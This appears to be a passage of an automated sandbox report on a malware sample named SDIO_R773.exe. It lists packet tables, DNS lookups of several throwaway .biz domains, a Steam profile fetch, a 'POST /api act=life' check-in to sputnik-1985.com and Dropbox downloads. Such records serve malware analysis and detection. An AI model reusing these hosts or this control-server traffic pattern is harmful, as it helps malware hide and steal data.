Jan 11, 2025 11:56:31.688383102 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688410997 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688416004 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688440084 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688549995 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688576937 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688595057 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688611031 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688714027 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688726902 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688770056 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688786030 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688807964 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688817978 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688859940 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688884020 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:31.688906908 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688930988 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.688939095 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:31.698048115 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:33.570732117 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:33.570990086 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:33.571137905 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:33.571137905 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:33.583437920 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:33.583533049 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:33.583739996 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:33.583919048 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:33.583956957 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:33.873454094 CET	49746	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:33.873477936 CET	443	49746	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.056217909 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.056315899 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:34.059698105 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:34.059726954 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.060133934 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.061563015 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:34.061604977 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:34.061667919 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.507720947 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.507967949 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.508119106 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:34.510432005 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:34.510483027 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.510514021 CET	49747	443	192.168.2.4	104.21.64.1
Jan 11, 2025 11:56:34.510529995 CET	443	49747	104.21.64.1	192.168.2.4
Jan 11, 2025 11:56:34.543047905 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:34.543076038 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:34.543150902 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:34.544017076 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:34.544025898 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:35.218480110 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:35.218542099 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:35.221803904 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:35.221808910 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:35.222197056 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:35.223510027 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:35.267335892 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:36.066401958 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:36.066548109 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:36.066561937 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:36.066581964 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:36.066683054 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:36.068028927 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:36.068028927 CET	49748	443	192.168.2.4	162.125.66.18
Jan 11, 2025 11:56:36.068042994 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:36.068051100 CET	443	49748	162.125.66.18	192.168.2.4
Jan 11, 2025 11:56:36.092649937 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:36.092694998 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:36.094801903 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:36.095074892 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:36.095091105 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:36.745949984 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:36.746076107 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:36.746130943 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:36.746195078 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:36.747773886 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:36.747790098 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:36.748203993 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:36.749325037 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:36.791322947 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:37.054965973 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:37.107815981 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:37.107845068 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:37.108242035 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:37.108273029 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:37.108294964 CET	49749	443	192.168.2.4	162.125.66.15
Jan 11, 2025 11:56:37.108581066 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:37.108664036 CET	443	49749	162.125.66.15	192.168.2.4
Jan 11, 2025 11:56:37.108719110 CET	49749	443	192.168.2.4	162.125.66.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 11:56:10.830060005 CET	49596	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.840543985 CET	53	49596	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.845376015 CET	51489	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.854562044 CET	53	51489	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.856093884 CET	60568	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.865309000 CET	53	60568	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.866796970 CET	51374	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.876123905 CET	53	51374	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.879120111 CET	63733	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.888009071 CET	53	63733	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.890122890 CET	64504	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.898674965 CET	53	64504	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.902409077 CET	65223	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.911283970 CET	53	65223	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.913264036 CET	55772	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.922254086 CET	53	55772	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:10.924127102 CET	59118	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:10.931308985 CET	53	59118	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:12.211045980 CET	57706	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:12.223140001 CET	53	57706	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:34.527036905 CET	56975	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:34.533921003 CET	53	56975	1.1.1.1	192.168.2.4
Jan 11, 2025 11:56:36.069113016 CET	62944	53	192.168.2.4	1.1.1.1
Jan 11, 2025 11:56:36.091603041 CET	53	62944	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 11:56:10.830060005 CET	192.168.2.4	1.1.1.1	0xedf3	Standard query (0)	punishzement.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.845376015 CET	192.168.2.4	1.1.1.1	0xc11a	Standard query (0)	fraggielek.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.856093884 CET	192.168.2.4	1.1.1.1	0x9b19	Standard query (0)	grandiouseziu.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.866796970 CET	192.168.2.4	1.1.1.1	0x151	Standard query (0)	littlenotii.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.879120111 CET	192.168.2.4	1.1.1.1	0x8b63	Standard query (0)	marketlumpe.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.890122890 CET	192.168.2.4	1.1.1.1	0xda5f	Standard query (0)	nuttyshopr.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.902409077 CET	192.168.2.4	1.1.1.1	0xd136	Standard query (0)	spookycappy.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.913264036 CET	192.168.2.4	1.1.1.1	0xff9b	Standard query (0)	truculengisau.biz	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.924127102 CET	192.168.2.4	1.1.1.1	0xf9b7	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.211045980 CET	192.168.2.4	1.1.1.1	0x31ac	Standard query (0)	sputnik-1985.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:34.527036905 CET	192.168.2.4	1.1.1.1	0xdcb8	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:36.069113016 CET	192.168.2.4	1.1.1.1	0x1ef8	Standard query (0)	uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 11:56:10.840543985 CET	1.1.1.1	192.168.2.4	0xedf3	Name error (3)	punishzement.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.854562044 CET	1.1.1.1	192.168.2.4	0xc11a	Name error (3)	fraggielek.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.865309000 CET	1.1.1.1	192.168.2.4	0x9b19	Name error (3)	grandiouseziu.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.876123905 CET	1.1.1.1	192.168.2.4	0x151	Name error (3)	littlenotii.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.888009071 CET	1.1.1.1	192.168.2.4	0x8b63	Name error (3)	marketlumpe.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.898674965 CET	1.1.1.1	192.168.2.4	0xda5f	Name error (3)	nuttyshopr.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.911283970 CET	1.1.1.1	192.168.2.4	0xd136	Name error (3)	spookycappy.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.922254086 CET	1.1.1.1	192.168.2.4	0xff9b	Name error (3)	truculengisau.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:10.931308985 CET	1.1.1.1	192.168.2.4	0xf9b7	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.223140001 CET	1.1.1.1	192.168.2.4	0x31ac	No error (0)	sputnik-1985.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.223140001 CET	1.1.1.1	192.168.2.4	0x31ac	No error (0)	sputnik-1985.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.223140001 CET	1.1.1.1	192.168.2.4	0x31ac	No error (0)	sputnik-1985.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.223140001 CET	1.1.1.1	192.168.2.4	0x31ac	No error (0)	sputnik-1985.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.223140001 CET	1.1.1.1	192.168.2.4	0x31ac	No error (0)	sputnik-1985.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.223140001 CET	1.1.1.1	192.168.2.4	0x31ac	No error (0)	sputnik-1985.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:12.223140001 CET	1.1.1.1	192.168.2.4	0x31ac	No error (0)	sputnik-1985.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:34.533921003 CET	1.1.1.1	192.168.2.4	0xdcb8	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 11:56:34.533921003 CET	1.1.1.1	192.168.2.4	0xdcb8	No error (0)	www-env.dropbox-dns.com		162.125.66.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 11:56:36.091603041 CET	1.1.1.1	192.168.2.4	0x1ef8	No error (0)	uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 11:56:36.091603041 CET	1.1.1.1	192.168.2.4	0x1ef8	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.66.15	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sputnik-1985.com

www.dropbox.com

uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	104.102.49.254	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:11 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-11 10:56:12 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 11 Jan 2025 10:56:12 GMT Content-Length: 35126 Connection: close Set-Cookie: sessionid=698f4fb8a7022c28f9fbd017; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-11 10:56:12 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-11 10:56:12 UTC	16384	IN	Data Raw: 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f Data Ascii: ity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPO
2025-01-11 10:56:12 UTC	3768	IN	Data Raw: 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_
2025-01-11 10:56:12 UTC	495	IN	Data Raw: 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 Data Ascii: criber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sputnik-1985.com
2025-01-11 10:56:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-11 10:56:12 UTC	550	IN	HTTP/1.1 403 Forbidden Date: Sat, 11 Jan 2025 10:56:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tzbaan%2BbMZdyza9E272uibNSfg7z6UnnCwAGXLx0u7W4u5ZuO4Y5bIz4JqTcM3eNkZKRC12A0S83xHaYDRgPB6nAfihUeGTeFK08wuc3QVp6Kj8FuB4uPxotxq5PpGxf%2BK3a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900460ffcfa77c6a-EWR
2025-01-11 10:56:12 UTC	819	IN	Data Raw: 31 31 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11c4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-11 10:56:12 UTC	1369	IN	Data Raw: 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 Data Ascii: f.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cooki
2025-01-11 10:56:12 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn
